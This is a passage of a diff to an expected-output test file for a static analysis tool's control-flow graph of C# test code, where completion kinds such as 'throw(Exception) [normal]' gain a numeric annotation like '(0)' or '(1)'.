throw(Exception) [normal] (0) | +| CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:40:14:40:37 | call to method WriteLine | normal | -| CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | goto(End) [normal] | +| CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | goto(End) [normal] (0) | | CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | normal | -| CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(Exception) [normal] | -| CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(Exception) [normal] (0) | +| CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | CompileTimeOperators.cs:31:9:34:9 | {...} | CompileTimeOperators.cs:32:13:32:21 | goto ...; | goto(End) | | CompileTimeOperators.cs:31:9:34:9 | {...} | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | normal | | CompileTimeOperators.cs:31:9:34:9 | {...} | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | throw(Exception) | @@ -1537,9 +1537,9 @@ | ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:88:9:88:27 | call to method Exit | exit | | ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:88:26:88:26 | 0 | normal | | ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:100:13:100:40 | call to method WriteLine | exit [normal] | +| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:100:13:100:40 | call to method WriteLine | exit [normal] (0) | | ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:100:13:100:40 | call to method WriteLine | exit [normal] | +| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:100:13:100:40 | call to method WriteLine | exit [normal] (0) | | ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | | ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | | ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:95:13:95:18 | this access | normal | @@ -1636,11 +1636,11 @@ | Extensions.cs:25:23:25:32 | access to method Parse | Extensions.cs:25:23:25:32 | access to method Parse | normal | | Extensions.cs:25:23:25:32 | delegate creation of type Func | Extensions.cs:25:23:25:32 | delegate creation of type Func | normal | | Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | normal | -| Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | normal | -| Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:10:9:12:9 | {...} | Finally.cs:11:13:11:37 | call to method WriteLine | normal | | Finally.cs:10:9:12:9 | {...} | Finally.cs:11:13:11:37 | call to method WriteLine | throw(Exception) | | Finally.cs:10:9:12:9 | {...} | Finally.cs:11:31:11:36 | "Try1" | throw(OutOfMemoryException) | @@ -1657,13 +1657,13 @@ | Finally.cs:15:13:15:41 | ...; | Finally.cs:15:13:15:40 | call to method WriteLine | normal | | Finally.cs:15:31:15:39 | "Finally" | Finally.cs:15:31:15:39 | "Finally" | normal | | Finally.cs:20:5:52:5 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | normal | -| Finally.cs:20:5:52:5 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | return [normal] | -| Finally.cs:20:5:52:5 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:20:5:52:5 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | throw(IOException) [normal] | +| Finally.cs:20:5:52:5 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | return [normal] (0) | +| Finally.cs:20:5:52:5 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:20:5:52:5 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | throw(IOException) [normal] (0) | | Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | normal | -| Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | return [normal] | -| Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | throw(IOException) [normal] | +| Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | return [normal] (0) | +| Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | throw(IOException) [normal] (0) | | Finally.cs:22:9:25:9 | {...} | Finally.cs:23:13:23:37 | call to method WriteLine | throw(Exception) | | Finally.cs:22:9:25:9 | {...} | Finally.cs:23:31:23:36 | "Try2" | throw(OutOfMemoryException) | | Finally.cs:22:9:25:9 | {...} | Finally.cs:24:13:24:19 | return ...; | return | @@ -1706,15 +1706,15 @@ | Finally.cs:50:13:50:41 | ...; | Finally.cs:50:13:50:40 | call to method WriteLine | normal | | Finally.cs:50:31:50:39 | "Finally" | Finally.cs:50:31:50:39 | "Finally" | normal | | Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | normal | -| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | return [normal] | -| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(IOException) [normal] | -| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | return [normal] (0) | +| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(IOException) [normal] (0) | +| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | normal | -| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | return [normal] | -| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(IOException) [normal] | -| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | return [normal] (0) | +| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(IOException) [normal] (0) | +| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:57:9:60:9 | {...} | Finally.cs:58:13:58:37 | call to method WriteLine | throw(Exception) | | Finally.cs:57:9:60:9 | {...} | Finally.cs:58:31:58:36 | "Try3" | throw(OutOfMemoryException) | | Finally.cs:57:9:60:9 | {...} | Finally.cs:59:13:59:19 | return ...; | return | @@ -1733,10 +1733,10 @@ | Finally.cs:61:48:61:51 | true | Finally.cs:61:48:61:51 | true | true | | Finally.cs:62:9:64:9 | {...} | Finally.cs:63:13:63:18 | throw ...; | throw(IOException) | | Finally.cs:63:13:63:18 | throw ...; | Finally.cs:63:13:63:18 | throw ...; | throw(IOException) | -| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:9:67:9 | catch (...) {...} | throw(Exception) [no-match] | -| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:9:67:9 | catch (...) {...} | throw(OutOfMemoryException) [no-match] | -| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:35:65:51 | ... != ... | throw(Exception) [false] | -| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:35:65:51 | ... != ... | throw(OutOfMemoryException) [false] | +| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:9:67:9 | catch (...) {...} | throw(Exception) [no-match] (0) | +| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:9:67:9 | catch (...) {...} | throw(OutOfMemoryException) [no-match] (0) | +| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:35:65:51 | ... != ... | throw(Exception) [false] (0) | +| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:35:65:51 | ... != ... | throw(OutOfMemoryException) [false] (0) | | Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:66:9:67:9 | {...} | normal | | Finally.cs:65:26:65:26 | Exception e | Finally.cs:65:26:65:26 | Exception e | normal | | Finally.cs:65:35:65:35 | access to local variable e | Finally.cs:65:35:65:35 | access to local variable e | normal | @@ -1750,30 +1750,30 @@ | Finally.cs:70:13:70:41 | ...; | Finally.cs:70:13:70:40 | call to method WriteLine | normal | | Finally.cs:70:31:70:39 | "Finally" | Finally.cs:70:31:70:39 | "Finally" | normal | | Finally.cs:75:5:101:5 | {...} | Finally.cs:77:16:77:20 | ... > ... | false | -| Finally.cs:75:5:101:5 | {...} | Finally.cs:97:21:97:23 | ...-- | normal [break] | -| Finally.cs:75:5:101:5 | {...} | Finally.cs:97:21:97:23 | ...-- | return [normal] | -| Finally.cs:75:5:101:5 | {...} | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] | +| Finally.cs:75:5:101:5 | {...} | Finally.cs:97:21:97:23 | ...-- | normal [break] (0) | +| Finally.cs:75:5:101:5 | {...} | Finally.cs:97:21:97:23 | ...-- | return [normal] (0) | +| Finally.cs:75:5:101:5 | {...} | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] (1) | | Finally.cs:76:9:76:19 | ... ...; | Finally.cs:76:13:76:18 | Int32 i = ... | normal | | Finally.cs:76:13:76:18 | Int32 i = ... | Finally.cs:76:13:76:18 | Int32 i = ... | normal | | Finally.cs:76:17:76:18 | 10 | Finally.cs:76:17:76:18 | 10 | normal | | Finally.cs:77:9:100:9 | while (...) ... | Finally.cs:77:16:77:20 | ... > ... | false | -| Finally.cs:77:9:100:9 | while (...) ... | Finally.cs:97:21:97:23 | ...-- | normal [break] | -| Finally.cs:77:9:100:9 | while (...) ... | Finally.cs:97:21:97:23 | ...-- | return [normal] | -| Finally.cs:77:9:100:9 | while (...) ... | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] | +| Finally.cs:77:9:100:9 | while (...) ... | Finally.cs:97:21:97:23 | ...-- | normal [break] (0) | +| Finally.cs:77:9:100:9 | while (...) ... | Finally.cs:97:21:97:23 | ...-- | return [normal] (0) | +| Finally.cs:77:9:100:9 | while (...) ... | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] (1) | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:77:16:77:16 | access to local variable i | normal | | Finally.cs:77:16:77:20 | ... > ... | Finally.cs:77:16:77:20 | ... > ... | false | | Finally.cs:77:16:77:20 | ... > ... | Finally.cs:77:16:77:20 | ... > ... | true | | Finally.cs:77:20:77:20 | 0 | Finally.cs:77:20:77:20 | 0 | normal | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | break [normal] | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | continue [normal] | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | break [normal] (0) | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | continue [normal] (0) | | Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | normal | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | return [normal] | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] | -| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | break [normal] | -| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | continue [normal] | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | return [normal] (0) | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] (1) | +| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | break [normal] (0) | +| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | continue [normal] (0) | | Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | normal | -| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | return [normal] | -| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] | +| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | return [normal] (0) | +| Finally.cs:79:13:99:13 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] (1) | | Finally.cs:80:13:87:13 | {...} | Finally.cs:82:21:82:27 | return ...; | return | | Finally.cs:80:13:87:13 | {...} | Finally.cs:84:21:84:29 | continue; | continue | | Finally.cs:80:13:87:13 | {...} | Finally.cs:85:21:85:26 | ... == ... | false | @@ -1800,9 +1800,9 @@ | Finally.cs:85:26:85:26 | 2 | Finally.cs:85:26:85:26 | 2 | normal | | Finally.cs:86:21:86:26 | break; | Finally.cs:86:21:86:26 | break; | break | | Finally.cs:89:13:99:13 | {...} | Finally.cs:97:21:97:23 | ...-- | normal | -| Finally.cs:89:13:99:13 | {...} | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] | +| Finally.cs:89:13:99:13 | {...} | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] (1) | | Finally.cs:90:17:98:17 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | normal | -| Finally.cs:90:17:98:17 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] | +| Finally.cs:90:17:98:17 | try {...} ... | Finally.cs:97:21:97:23 | ...-- | throw(Exception) [normal] (1) | | Finally.cs:91:17:94:17 | {...} | Finally.cs:92:25:92:30 | ... == ... | false | | Finally.cs:91:17:94:17 | {...} | Finally.cs:93:25:93:46 | throw ...; | throw(Exception) | | Finally.cs:91:17:94:17 | {...} | Finally.cs:93:31:93:45 | object creation of type Exception | throw(Exception) | @@ -1822,25 +1822,25 @@ | Finally.cs:97:21:97:23 | ...-- | Finally.cs:97:21:97:23 | ...-- | normal | | Finally.cs:97:21:97:24 | ...; | Finally.cs:97:21:97:23 | ...-- | normal | | Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | false | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | return [false] | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | throw(Exception) [false] | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | throw(NullReferenceException) [false] | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | throw(OutOfMemoryException) [false] | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | return [false] (0) | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | throw(Exception) [false] (0) | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | throw(NullReferenceException) [false] (0) | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:116:17:116:32 | ... > ... | throw(OutOfMemoryException) [false] (0) | | Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | normal | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | return [normal] | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | throw(NullReferenceException) [normal] | -| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | return [normal] (0) | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | throw(NullReferenceException) [normal] (0) | +| Finally.cs:104:5:119:5 | {...} | Finally.cs:117:17:117:36 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | false | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | return [false] | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | throw(Exception) [false] | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | throw(NullReferenceException) [false] | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | throw(OutOfMemoryException) [false] | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | return [false] (0) | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | throw(Exception) [false] (0) | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | throw(NullReferenceException) [false] (0) | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:116:17:116:32 | ... > ... | throw(OutOfMemoryException) [false] (0) | | Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | normal | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | return [normal] | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | throw(NullReferenceException) [normal] | -| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | return [normal] (0) | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | throw(NullReferenceException) [normal] (0) | +| Finally.cs:105:9:118:9 | try {...} ... | Finally.cs:117:17:117:36 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:106:9:111:9 | {...} | Finally.cs:107:17:107:21 | access to field Field | throw(NullReferenceException) | | Finally.cs:106:9:111:9 | {...} | Finally.cs:107:17:107:28 | access to property Length | throw(Exception) | | Finally.cs:106:9:111:9 | {...} | Finally.cs:107:17:107:28 | access to property Length | throw(NullReferenceException) | @@ -1935,13 +1935,13 @@ | Finally.cs:128:9:130:9 | {...} | Finally.cs:129:13:129:13 | ; | normal | | Finally.cs:129:13:129:13 | ; | Finally.cs:129:13:129:13 | ; | normal | | Finally.cs:134:5:145:5 | {...} | Finally.cs:141:13:141:44 | throw ...; | throw(ArgumentException) | -| Finally.cs:134:5:145:5 | {...} | Finally.cs:142:13:142:37 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:134:5:145:5 | {...} | Finally.cs:142:13:142:37 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:134:5:145:5 | {...} | Finally.cs:142:13:142:37 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:134:5:145:5 | {...} | Finally.cs:142:13:142:37 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:134:5:145:5 | {...} | Finally.cs:144:9:144:33 | call to method WriteLine | normal | | Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:141:13:141:44 | throw ...; | throw(ArgumentException) | | Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | normal | -| Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:136:9:138:9 | {...} | Finally.cs:137:13:137:36 | call to method WriteLine | normal | | Finally.cs:136:9:138:9 | {...} | Finally.cs:137:13:137:36 | call to method WriteLine | throw(Exception) | | Finally.cs:136:9:138:9 | {...} | Finally.cs:137:31:137:35 | "Try" | throw(OutOfMemoryException) | @@ -1965,23 +1965,23 @@ | Finally.cs:144:9:144:34 | ...; | Finally.cs:144:9:144:33 | call to method WriteLine | normal | | Finally.cs:144:27:144:32 | "Dead" | Finally.cs:144:27:144:32 | "Dead" | normal | | Finally.cs:148:5:170:5 | {...} | Finally.cs:158:21:158:36 | ... == ... | false | -| Finally.cs:148:5:170:5 | {...} | Finally.cs:158:21:158:36 | ... == ... | throw(ArgumentNullException) [false] | -| Finally.cs:148:5:170:5 | {...} | Finally.cs:158:21:158:36 | ... == ... | throw(Exception) [false] | +| Finally.cs:148:5:170:5 | {...} | Finally.cs:158:21:158:36 | ... == ... | throw(ArgumentNullException) [false] (0) | +| Finally.cs:148:5:170:5 | {...} | Finally.cs:158:21:158:36 | ... == ... | throw(Exception) [false] (0) | | Finally.cs:148:5:170:5 | {...} | Finally.cs:163:17:163:42 | call to method WriteLine | normal | -| Finally.cs:148:5:170:5 | {...} | Finally.cs:163:17:163:42 | call to method WriteLine | throw(ArgumentNullException) [normal] | -| Finally.cs:148:5:170:5 | {...} | Finally.cs:163:17:163:42 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:148:5:170:5 | {...} | Finally.cs:163:17:163:42 | call to method WriteLine | throw(ArgumentNullException) [normal] (0) | +| Finally.cs:148:5:170:5 | {...} | Finally.cs:163:17:163:42 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:148:5:170:5 | {...} | Finally.cs:167:17:167:37 | call to method WriteLine | normal | -| Finally.cs:148:5:170:5 | {...} | Finally.cs:167:17:167:37 | call to method WriteLine | throw(ArgumentNullException) [normal] | -| Finally.cs:148:5:170:5 | {...} | Finally.cs:167:17:167:37 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:148:5:170:5 | {...} | Finally.cs:167:17:167:37 | call to method WriteLine | throw(ArgumentNullException) [normal] (0) | +| Finally.cs:148:5:170:5 | {...} | Finally.cs:167:17:167:37 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:158:21:158:36 | ... == ... | false | -| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:158:21:158:36 | ... == ... | throw(ArgumentNullException) [false] | -| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:158:21:158:36 | ... == ... | throw(Exception) [false] | +| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:158:21:158:36 | ... == ... | throw(ArgumentNullException) [false] (0) | +| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:158:21:158:36 | ... == ... | throw(Exception) [false] (0) | | Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:163:17:163:42 | call to method WriteLine | normal | -| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:163:17:163:42 | call to method WriteLine | throw(ArgumentNullException) [normal] | -| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:163:17:163:42 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:163:17:163:42 | call to method WriteLine | throw(ArgumentNullException) [normal] (0) | +| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:163:17:163:42 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:167:17:167:37 | call to method WriteLine | normal | -| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:167:17:167:37 | call to method WriteLine | throw(ArgumentNullException) [normal] | -| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:167:17:167:37 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:167:17:167:37 | call to method WriteLine | throw(ArgumentNullException) [normal] (0) | +| Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:167:17:167:37 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:150:9:153:9 | {...} | Finally.cs:151:17:151:28 | ... == ... | false | | Finally.cs:150:9:153:9 | {...} | Finally.cs:152:17:152:50 | throw ...; | throw(ArgumentNullException) | | Finally.cs:150:9:153:9 | {...} | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | throw(Exception) | @@ -2052,26 +2052,26 @@ | Finally.cs:167:17:167:38 | ...; | Finally.cs:167:17:167:37 | call to method WriteLine | normal | | Finally.cs:167:35:167:36 | "" | Finally.cs:167:35:167:36 | "" | normal | | Finally.cs:177:5:193:5 | {...} | Finally.cs:186:21:186:22 | access to parameter b2 | false | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:186:21:186:22 | access to parameter b2 | throw(Exception) [false] | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:186:21:186:22 | access to parameter b2 | throw(ExceptionA) [false] | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:186:21:186:22 | access to parameter b2 | throw(Exception) [false] (0) | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:186:21:186:22 | access to parameter b2 | throw(ExceptionA) [false] (0) | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] (0) | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] (0) | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] (0) | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] (0) | | Finally.cs:177:5:193:5 | {...} | Finally.cs:190:21:190:22 